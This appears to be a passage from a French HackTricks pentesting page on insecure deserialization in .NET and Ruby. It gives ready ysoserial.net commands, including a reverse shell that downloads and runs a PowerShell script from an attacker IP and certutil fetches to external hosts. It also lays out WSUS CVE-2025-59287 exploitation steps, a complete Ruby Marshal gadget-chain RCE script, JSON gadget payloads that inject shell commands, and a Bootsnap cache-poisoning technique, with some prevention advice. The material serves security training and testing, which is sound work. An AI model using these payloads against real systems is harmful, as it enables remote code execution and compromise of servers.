Vous devez garder à l’esprit que même si un service est vulnérable (parce qu’il désérialise de manière non sécurisée des entrées utilisateur) vous devez quand même trouver des gadgets valides pour exploiter la vulnérabilité.

L’outil JMET a été créé pour se connecter et attaquer ces services en envoyant plusieurs objets malveillants sérialisés en utilisant des gadgets connus. Ces exploits fonctionneront si le service est toujours vulnérable et si l’un des gadgets utilisés est présent dans l’application vulnérable.

References

.Net

Dans le contexte de .Net, les exploits de désérialisation fonctionnent de manière similaire à ceux trouvés en Java, où des gadgets sont exploités pour exécuter du code spécifique pendant la désérialisation d’un objet.

Fingerprint

WhiteBox

Le code source doit être inspecté pour détecter les occurrences de :

  1. TypeNameHandling
  2. JavaScriptTypeResolver

L’attention doit se porter sur les serializers qui permettent que le type soit déterminé par une variable sous contrôle de l’utilisateur.

BlackBox

La recherche doit cibler la chaîne encodée Base64 AAEAAAD///// ou tout motif similaire susceptible d’être désérialisé côté serveur, donnant le contrôle sur le type à désérialiser. Cela peut inclure, mais sans s’y limiter, des structures JSON ou XML contenant TypeObject ou $type.

ysoserial.net

Dans ce cas vous pouvez utiliser l’outil ysoserial.net afin de créer les exploits de désérialisation. Une fois le dépôt git téléchargé vous devrez compiler l’outil en utilisant Visual Studio par exemple.

Si vous voulez comprendre comment ysoserial.net crée ses exploits vous pouvez consulter cette page où est expliqué le gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

Les options principales de ysoserial.net sont : --gadget, --formatter, --output et --plugin.

  • --gadget utilisé pour indiquer le gadget à abuser (indiquer la classe/fonction qui sera exploitée lors de la désérialisation pour exécuter des commandes).
  • --formatter, utilisé pour indiquer la méthode de sérialisation de l’exploit (vous devez savoir quelle librairie est utilisée par le back-end pour désérialiser le payload et utiliser la même pour sérialiser)
  • --output utilisé pour indiquer si vous voulez l’exploit en raw ou encodé en base64. Notez que ysoserial.net va encoder le payload en UTF-16LE (encodage utilisé par défaut sur Windows) donc si vous récupérez le raw et que vous l’encodez depuis une console Linux vous pourriez avoir des problèmes de compatibilité d’encodage qui empêcheront l’exploit de fonctionner correctement (dans la machine HTB JSON le payload a fonctionné en UTF-16LE et ASCII mais cela ne signifie pas que ça fonctionnera toujours).
  • --plugin ysoserial.net supporte des plugins pour fabriquer des exploits pour des frameworks spécifiques comme ViewState

More ysoserial.net parameters

  • --minify fournira un payload plus petit (si possible)
  • --raf -f Json.Net -c "anything" Cela indiquera tous les gadgets qui peuvent être utilisés avec un formatter fourni (Json.Net dans ce cas)
  • --sf xml vous pouvez indiquer un gadget (-g) et ysoserial.net recherchera des formatters contenant “xml” (insensible à la casse)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net possède aussi un paramètre très intéressant qui aide à mieux comprendre comment chaque exploit fonctionne : --test
Si vous indiquez ce paramètre ysoserial.net va tester l’exploit localement, afin que vous puissiez vérifier si votre payload fonctionnera correctement.
Ce paramètre est utile car si vous examinez le code vous trouverez des blocs de code comme le suivant (depuis ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Cela signifie que, afin de tester l’exploit, le code appellera serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the previous code is vulnerable to the exploit created. So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Therefore the --test parameter allows us to understand which chunks of code are vulnerable to the désérialisation exploit that ysoserial.net can create.

ViewState

Consultez this POST about how to try to exploit the __ViewState parameter of .Net pour exécuter du code arbitraire. Si vous connaissez déjà les secrets utilisés par la machine victime, read this post to know to execute code.

Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Endpoints affectés :
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie déchiffré puis désérialisé avec BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.
  • Cause racine : des octets contrôlés par l’attaquant atteignent des formatters .NET legacy (BinaryFormatter/SoapFormatter) sans allow‑lists/binders stricts, donc les gadget chains s’exécutent avec le compte de service WSUS (souvent SYSTEM).

Exploitation minimale (Reporting path) :

  1. Générez un .NET gadget avec ysoserial.net (BinaryFormatter or SoapFormatter) et générez la sortie en base64, par exemple:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Préparez un SOAP pour ReportEventBatch en intégrant le gadget encodé en base64 et en effectuant un POST vers /ReportingWebService.asmx.
  2. Lorsqu’un admin ouvre la console WSUS, l’événement est désérialisé et le gadget se déclenche (RCE as SYSTEM).

AuthorizationCookie / GetCookie()

  • Un AuthorizationCookie forgé peut être accepté, décrypté, et passé à un BinaryFormatter sink, permettant une pre‑auth RCE si atteignable.

Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

Voir Windows Local Privilege Escalation – WSUS

Prévention

Pour atténuer les risques associés à la désérialisation dans .Net :

  • Éviter de permettre aux flux de données de définir leurs types d’objet. Utiliser DataContractSerializer ou XmlSerializer quand c’est possible.
  • Pour JSON.Net, définir TypeNameHandling sur None : TypeNameHandling = TypeNameHandling.None
  • Éviter d’utiliser JavaScriptSerializer avec un JavaScriptTypeResolver.
  • Limiter les types pouvant être désérialisés, en comprenant les risques inhérents aux types .Net, comme System.IO.FileInfo, qui peut modifier les propriétés de fichiers serveur, entraînant potentiellement des attaques par déni de service.
  • Être prudent avec les types ayant des propriétés risquées, comme System.ComponentModel.DataAnnotations.ValidationException avec sa propriété Value, qui peut être exploitée.
  • Contrôler de manière sécurisée l’instanciation des types pour empêcher les attaquants d’influencer le processus de désérialisation, rendant vulnérables même DataContractSerializer ou XmlSerializer.
  • Mettre en place des contrôles par liste blanche en utilisant un SerializationBinder personnalisé pour BinaryFormatter et JSON.Net.
  • Se tenir informé des gadgets de désérialisation connus comme non sécurisés dans .Net et s’assurer que les désérialiseurs n’instancient pas ces types.
  • Isoler le code potentiellement risqué du code ayant accès à Internet afin d’éviter d’exposer des gadgets connus, comme System.Windows.Data.ObjectDataProvider dans les applications WPF, à des sources de données non fiables.

Références

Ruby

En Ruby, la sérialisation est assurée par deux méthodes de la bibliothèque marshal. La première méthode, appelée dump, est utilisée pour transformer un objet en un flux d’octets. Ce processus est appelé sérialisation. À l’inverse, la seconde méthode, load, sert à retransformer un flux d’octets en objet, un processus appelé désérialisation.

Pour sécuriser les objets sérialisés, Ruby utilise HMAC (Hash-Based Message Authentication Code), garantissant l’intégrité et l’authenticité des données. La clé utilisée à cet effet est stockée dans l’un des emplacements suivants :

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X chaîne générique de désérialisation menant à RCE (plus d’infos dans https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Autre chaîne RCE pour exploiter Ruby On Rails : https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Méthode Ruby .send()

Comme expliqué dans this vulnerability report, si une entrée utilisateur non assainie atteint la méthode .send() d’un objet ruby, cette méthode permet de invoquer n’importe quelle autre méthode de l’objet avec n’importe quels paramètres.

Par exemple, appeler eval puis du code ruby en deuxième paramètre permettra d’exécuter du code arbitraire :

<Object>.send('eval', '<user input with Ruby code>') == RCE

De plus, si un seul paramètre de .send() est contrôlé par un attaquant, comme mentionné dans le writeup précédent, il est possible d’appeler n’importe quelle méthode de l’objet qui n’a pas besoin d’arguments ou dont les arguments ont des valeurs par défaut.
Pour cela, il est possible d’énumérer toutes les méthodes de l’objet pour trouver des méthodes intéressantes qui remplissent ces conditions.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Voir comment il est possible de pollute a Ruby class and abuse it in here.

Ruby _json pollution

Lorsqu’on envoie dans le body des valeurs non hashabled comme un array, elles seront ajoutées sous une nouvelle clé appelée _json. Cependant, il est possible pour un attaquant de définir dans le body une valeur appelée _json contenant les valeurs arbitraires qu’il souhaite. Ensuite, si le backend, par exemple, vérifie la validité d’un paramètre mais utilise aussi le paramètre _json pour effectuer une action, un authorisation bypass pourrait être réalisé.

Consultez la Ruby _json pollution page pour plus d’informations.

Autres bibliothèques

Cette technique provient de cet article de blog.

Il existe d’autres bibliothèques Ruby qui peuvent être utilisées pour sérialiser des objets et qui peuvent donc être abusées pour obtenir une RCE lors d’une insecure deserialization. Le tableau suivant montre certaines de ces bibliothèques et la méthode qu’elles appellent de la classe chargée lors de la désérialisation (fonction à abuser pour obtenir une RCE) :

BibliothèqueDonnées d'entréeMéthode déclenchée dans la classe
Marshal (Ruby)Binaire_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([voir les notes concernant json_create à la fin](#table-vulnerable-sinks))

Basic example:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Dans le cas d’une tentative d’abuser d’Oj, il a été possible de trouver une gadget class qui, à l’intérieur de sa fonction hash, appellera to_s, qui appellera spec, qui appellera fetch_path, ce qui permettait de lui faire récupérer une URL aléatoire, fournissant un excellent détecteur pour ce type de unsanitized deserialization vulnerabilities.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

De plus, il a été constaté qu’avec la technique précédente, un dossier est également créé dans le système, ce qui est nécessaire pour abuser d’un autre gadget afin de transformer cela en une RCE complète avec quelque chose comme :

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Mise en cache Bootsnap

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:

  • Identifier la vulnérabilité et l’environnement

La fonctionnalité d’upload de fichiers de l’app Rails permet à un attaquant d’effectuer un arbitrary file write. Bien que l’app s’exécute avec des restrictions (seuls certains répertoires comme tmp sont inscriptibles en raison de l’utilisateur non-root de Docker), cela permet néanmoins d’écrire dans le répertoire de cache Bootsnap (typiquement sous tmp/cache/bootsnap).

  • Comprendre le mécanisme de cache de Bootsnap

Bootsnap accélère le démarrage de Rails en mettant en cache du code Ruby compilé, des fichiers YAML et JSON. Il stocke des fichiers de cache qui incluent un cache key header (avec des champs tels que Ruby version, file size, mtime, compile options, etc.) suivi du code compilé. Cet en-tête est utilisé pour valider le cache au démarrage de l’application.

  • Collecter les métadonnées du fichier

L’attaquant sélectionne d’abord un fichier cible susceptible d’être chargé au démarrage de Rails (par exemple set.rb de la librairie standard de Ruby). En exécutant du code Ruby à l’intérieur du conteneur, il extrait des métadonnées critiques (telles que RUBY_VERSION, RUBY_REVISION, size, mtime et compile_option). Ces données sont essentielles pour construire une cache key valide.

  • Calculer le chemin du fichier de cache

En reproduisant le mécanisme de hash FNV-1a 64-bit de Bootsnap, on détermine le chemin exact du fichier de cache. Cette étape garantit que le fichier de cache malveillant est placé exactement là où Bootsnap s’attend à le trouver (par ex. sous tmp/cache/bootsnap/compile-cache-iseq/).

  • Construire le fichier de cache malveillant

The attacker prepares a payload that:

  • Exécute des commandes arbitraires (par ex. exécuter id pour afficher les infos du processus).
  • Supprime le cache malveillant après exécution pour éviter une exploitation récursive.
  • Charge le fichier original (par ex. set.rb) pour éviter de faire planter l’application.

Ce payload est compilé en code Ruby binaire et concaténé avec un cache key header soigneusement construit (en utilisant les métadonnées précédemment collectées et le numéro de version correct de Bootsnap).

  • Écraser et déclencher l’exécution

En utilisant l’arbitrary file write, l’attaquant écrit le fichier de cache forgé à l’emplacement calculé. Ensuite il déclenche un redémarrage du serveur (en écrivant dans tmp/restart.txt, surveillé par Puma). Lors du redémarrage, quand Rails require le fichier ciblé, le fichier de cache malveillant est chargé, entraînant une RCE.

Exploitation de Ruby Marshal en pratique (mise à jour)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Chemin minimal de code Rails vulnérable:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Classes de gadget courantes observées dans des chaînes réelles : Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Marqueur d’effet secondaire typique intégré dans les payloads (exécuté lors de l’unmarshal) :
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Où cela apparaît dans des applications réelles :

  • Rails cache stores et session stores utilisant historiquement Marshal
  • Backends de jobs en arrière-plan et file-backed object stores
  • Toute persistance ou transport personnalisé de blobs d’objets binaires

Découverte industrialisée de gadgets :

  • Grep pour les constructeurs, hash, _load, init_with, ou des méthodes à effets de bord invoquées durant l’unmarshal
  • Utiliser les requêtes CodeQL Ruby pour unsafe deserialization afin de tracer sources → sinks et faire remonter des gadgets
  • Valider avec des PoC publics multi-format (JSON/XML/YAML/Marshal)

Références

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks